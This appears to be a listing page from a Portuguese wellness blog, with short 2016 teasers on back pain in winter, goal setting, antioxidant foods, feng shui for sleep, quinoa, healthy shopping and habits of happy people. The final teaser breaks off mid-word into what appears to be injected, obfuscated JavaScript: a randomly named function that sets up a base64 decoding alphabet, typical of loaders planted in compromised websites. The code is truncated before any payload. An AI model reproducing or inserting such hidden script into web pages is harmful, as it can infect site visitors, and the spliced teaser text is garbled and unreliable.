Dores de costas no inverno

Mar 13, 2016 | Equilíbrio, Novo, Saúde e bem estar

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Para muitos o inverno é uma época de boas-vindas, mas, para as pessoas com reumatismos ou dores musculoesqueléticas, esta fase resfriada e húmida do ano traz presentes natalícios antecipados. As famigeradas dores nas costas. Prevenção Todos os dias, as nossas costas...

Obtenha o que tanto deseja

Mar 9, 2016 | Equilíbrio, Saúde e bem estar

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Obtenha o que tanto deseja. Estabelecer objetivos transmite-nos confiança e bem-estar.  Imagine-se num cais de embarque onde estão dois navios de cruzeiro, à sua escolha, para desfrutar da maior viagem de sempre: a sua vida! ___ No primeiro, partirá sem rumo, apenas...

Conheça os alimentos antioxidantes

Mar 1, 2016 | Equilíbrio, Saúde e bem estar

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Conheça os alimentos antioxidantes   Aliados nos nossos pratos ___ Faça da fruta e dos legumes as suas armas secretas de beleza e bem-estar.   Morango: uma fruta antioxidante É uma fruta pobre em calorias e rica em propriedades. O seu efeito antioxidante foi avaliado...

Feng shui – Um sono com mais qualidade

Fev 27, 2016 | Equilíbrio, Saúde e bem estar

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Feng shui  – Um sono com mais qualidade   Nos dias de hoje, muita gente se queixa da falta de qualidade de sono, além de, muitas vezes, também acompanhada pela falta de tempo suficiente para dormir. Ao longo dos últimos anos temos acompanhado a uma velocidade...

7 Mitos sobre a sua coluna

Fev 23, 2016 | Equilíbrio, Saúde e bem estar

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7 Mitos sobre a sua coluna Frente a uma dor nas costas é palpável a vontade dos doentes de saberem tudo sobre a causa deste sofrimento. Os melhores tratamentos? A causa? O que alivia? O que não deve fazer? Entre pesquisas frenéticas e conversas assustadoras, as...

Uma viagem à Índia

Fev 21, 2016 | Equilíbrio, Saúde e bem estar

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Uma viagem à Índia A Índia é um país mágico, a este local pode mesmo aplicar-se a expressão – ‘primeiro estranha-se, depois entranha-se’. Dois meses foi o tempo suficiente para perceber por que razões as pessoas procuram este gigante e transformador local. Na Índia é...

Quinoa – a proteína vegetal completa

Fev 19, 2016 | Equilíbrio, Saúde e bem estar

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Quinoa – a proteína vegetal completa   A procura crescente por uma alimentação saudável, na busca de uma vida com maior qualidade, tem trazido ao nosso conhecimento novos alimentos, muitos deles deveras surpreendentes pelas suas características de elevada qualidade...

Compras de supermercado para uma vida saudável

Fev 18, 2016 | Equilíbrio, Saúde e bem estar

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Compras do supermercado para uma vida saudável   Ir às compras com a perspetiva de que a sua saúde depende daquilo que comprar será um bom guia. Mas, nem sempre percorrer os corredores do supermercado é uma tarefa fácil. Contudo, ficam aqui alguns conselhos para...

7 Hábitos das pessoas felizes

Fev 16, 2016 | Equilíbrio, Saúde e bem estar

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7 Hábitos das pessoas felizes Qual é o segredo para ser feliz? Uma carreira de sucesso? Uma paixão eloquente? Uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...